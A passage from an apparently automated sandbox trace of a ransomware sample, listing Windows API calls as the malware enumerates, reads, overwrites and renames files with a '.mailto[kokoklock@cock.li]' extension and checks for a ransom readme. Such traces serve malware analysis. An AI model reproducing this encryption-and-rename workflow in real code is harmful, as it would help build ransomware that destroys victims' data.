lpNumberOfBytesWritten=0x1febfbc0, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1febfbc0*=0x10f, lpOverlapped=0x0) returned 1 [0078.294] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0078.294] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34928e8 [0078.294] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0078.294] WriteFile (in: hFile=0xa18, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1febfbbc, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1febfbbc*=0x20, lpOverlapped=0x0) returned 1 [0078.294] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0078.294] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.294] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.294] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.294] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.294] WriteFile (in: hFile=0xa18, lpBuffer=0x34928c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1febfbe8, lpOverlapped=0x0 | out: lpBuffer=0x34928c0*, lpNumberOfBytesWritten=0x1febfbe8*=0x8, lpOverlapped=0x0) returned 1 [0078.294] WriteFile (in: hFile=0xa18, lpBuffer=0x1febfc00*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1febfbe8, lpOverlapped=0x0 | out: lpBuffer=0x1febfc00*, lpNumberOfBytesWritten=0x1febfbe8*=0x4, lpOverlapped=0x0) returned 1 [0078.294] WriteFile (in: hFile=0xa18, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1febfbe8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1febfbe8*=0x4, lpOverlapped=0x0) returned 1 [0078.295] WriteFile (in: hFile=0xa18, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1febfbe8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1febfbe8*=0x6c, lpOverlapped=0x0) returned 1 [0078.295] WriteFile (in: hFile=0xa18, lpBuffer=0x3492d20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1febfbe8, lpOverlapped=0x0 | out: lpBuffer=0x3492d20*, lpNumberOfBytesWritten=0x1febfbe8*=0x20, lpOverlapped=0x0) returned 1 [0078.295] WriteFile (in: hFile=0xa18, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1febfbe8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1febfbe8*=0x4, lpOverlapped=0x0) returned 1 [0078.295] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d20) returned 1 [0078.295] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492898) returned 1 [0078.295] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928c0) returned 1 [0078.295] CloseHandle (hObject=0xa18) returned 1 [0078.295] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x33e8f08 [0078.295] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" [0078.295] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0078.295] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.296] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.296] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0078.296] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0078.296] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f8248 [0078.296] wcscpy (in: _Dest=0x33f8248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\" [0078.296] wcscat (in: _Dest=0x33f8248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\D0E731-Readme.txt" [0078.296] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\d0e731-readme.txt")) returned 0x20 [0078.296] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8248) returned 1 [0078.296] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476430) returned 1 [0078.296] RtlExitUserThread (Status=0x1) Thread: id = 868 os_tid = 0x1494 [0078.306] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3429558 [0078.306] wcscpy (in: _Dest=0x3429558, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" [0078.306] wcscat (in: _Dest=0x3429558, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\" [0078.306] wcscat (in: _Dest=0x3429558, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\*" [0078.306] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f2dd8 [0078.306] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\*", lpFindFileData=0x33f2dd8 | out: lpFindFileData=0x33f2dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0598 [0078.307] wcscmp (_String1=".", _String2=".") returned 0 [0078.307] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f2dd8 | out: lpFindFileData=0x33f2dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.307] wcscmp (_String1="..", _String2=".") returned 1 [0078.307] wcscmp (_String1="..", _String2="..") returned 0 [0078.307] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f2dd8 | out: lpFindFileData=0x33f2dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0078.307] wcscmp (_String1="RunTime", _String2=".") returned 1 [0078.307] wcscmp (_String1="RunTime", _String2="..") returned 1 [0078.307] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3432488 [0078.307] wcscpy (in: _Dest=0x3432488, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" [0078.307] wcscat (in: _Dest=0x3432488, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\" [0078.307] wcscat (in: _Dest=0x3432488, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime" [0083.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3432488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c [0083.044] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f2dd8 | out: lpFindFileData=0x33f2dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0083.044] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0083.044] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0083.044] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f72d8 [0083.044] wcscpy (in: _Dest=0x33f72d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov" [0083.044] wcscat (in: _Dest=0x33f72d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\" [0083.044] wcscat (in: _Dest=0x33f72d8, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime.xml" [0083.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f72d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0083.045] FindNextFileW (in: hFindFile=0x33e0598, lpFindFileData=0x33f2dd8 | out: lpFindFileData=0x33f2dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0083.045] FindClose (in: hFindFile=0x33e0598 | out: hFindFile=0x33e0598) returned 1 [0083.045] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2dd8) returned 1 [0083.045] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429558) returned 1 [0083.045] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429610) returned 1 [0083.045] RtlExitUserThread (Status=0x0) Thread: id = 869 os_tid = 0x1498 [0078.308] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml")) returned 0x20 [0078.308] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml", dwFileAttributes=0x20) returned 1 [0078.309] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa1c [0078.309] GetFileSizeEx (in: hFile=0xa1c, lpFileSize=0x1ffbfcc4 | out: lpFileSize=0x1ffbfcc4*=2138) returned 1 [0078.309] SetFilePointerEx (in: hFile=0xa1c, liDistanceToMove=0x856, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.309] ReadFile (in: hFile=0xa1c, lpBuffer=0x1ffbfc98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ffbfc94, lpOverlapped=0x0 | out: lpBuffer=0x1ffbfc98*, lpNumberOfBytesRead=0x1ffbfc94*=0x4, lpOverlapped=0x0) returned 1 [0078.311] SetFilePointerEx (in: hFile=0xa1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0078.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492d20 [0078.312] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492898 [0078.312] NtQuerySystemTime (in: CurrentTime=0x1ffbfc70 | out: CurrentTime=0x1ffbfc70*=132121176362065735) returned 0x0 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0xe864ca85 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x80b95c45 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x60791f51 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x734672cf [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x6dc30346 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0xca2e5061 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x304349bd [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x1c7eef08 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0xea5083a0 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0xa029be17 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0xa13de3d [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0xcd6cf641 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0xfddcadf8 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x84af12ef [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x78da28f7 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x9918a8fb [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0xf0a37e28 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x8b484ad8 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0xb1725079 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x8dc7e967 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0xe11223ca [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x28913c4c [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x4b4191fe [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x6b0c243 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x457ea478 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0xfc565405 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x520fea66 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0xf895be25 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0xc0634d28 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x6bfb8ca3 [0078.312] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0x8336da6f [0078.313] RtlRandom (in: Seed=0x1ffbfc7c | out: Seed=0x1ffbfc7c) returned 0xe2961d16 [0078.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0078.323] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0078.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0078.323] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0078.324] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0078.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0078.324] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0078.324] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0078.324] ReadFile (in: hFile=0xa1c, lpBuffer=0x348d230, nNumberOfBytesToRead=0x85a, lpNumberOfBytesRead=0x1ffbfc70, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x1ffbfc70*=0x85a, lpOverlapped=0x0) returned 1 [0078.324] SetFilePointerEx (in: hFile=0xa1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ffbfc38 | out: lpNewFilePointer=0x0) returned 1 [0078.324] WriteFile (in: hFile=0xa1c, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x85a, lpNumberOfBytesWritten=0x1ffbfc6c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1ffbfc6c*=0x85a, lpOverlapped=0x0) returned 1 [0078.324] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0078.324] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492910 [0078.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492910) returned 1 [0078.324] WriteFile (in: hFile=0xa1c, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ffbfc68, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1ffbfc68*=0x20, lpOverlapped=0x0) returned 1 [0078.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0078.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0078.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0078.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0078.324] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0078.324] WriteFile (in: hFile=0xa1c, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1ffbfc94, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1ffbfc94*=0x8, lpOverlapped=0x0) returned 1 [0078.325] WriteFile (in: hFile=0xa1c, lpBuffer=0x1ffbfcac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ffbfc94, lpOverlapped=0x0 | out: lpBuffer=0x1ffbfcac*, lpNumberOfBytesWritten=0x1ffbfc94*=0x4, lpOverlapped=0x0) returned 1 [0078.325] WriteFile (in: hFile=0xa1c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ffbfc94, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1ffbfc94*=0x4, lpOverlapped=0x0) returned 1 [0078.325] WriteFile (in: hFile=0xa1c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1ffbfc94, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1ffbfc94*=0x6c, lpOverlapped=0x0) returned 1 [0078.325] WriteFile (in: hFile=0xa1c, lpBuffer=0x3492d20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1ffbfc94, lpOverlapped=0x0 | out: lpBuffer=0x3492d20*, lpNumberOfBytesWritten=0x1ffbfc94*=0x20, lpOverlapped=0x0) returned 1 [0078.325] WriteFile (in: hFile=0xa1c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1ffbfc94, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1ffbfc94*=0x4, lpOverlapped=0x0) returned 1 [0078.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492d20) returned 1 [0078.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928c0) returned 1 [0078.325] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0078.325] CloseHandle (hObject=0xa1c) returned 1 [0078.325] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x33e8f08 [0078.325] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" [0078.325] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0078.325] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0078.326] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0078.326] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0078.326] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0078.326] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, 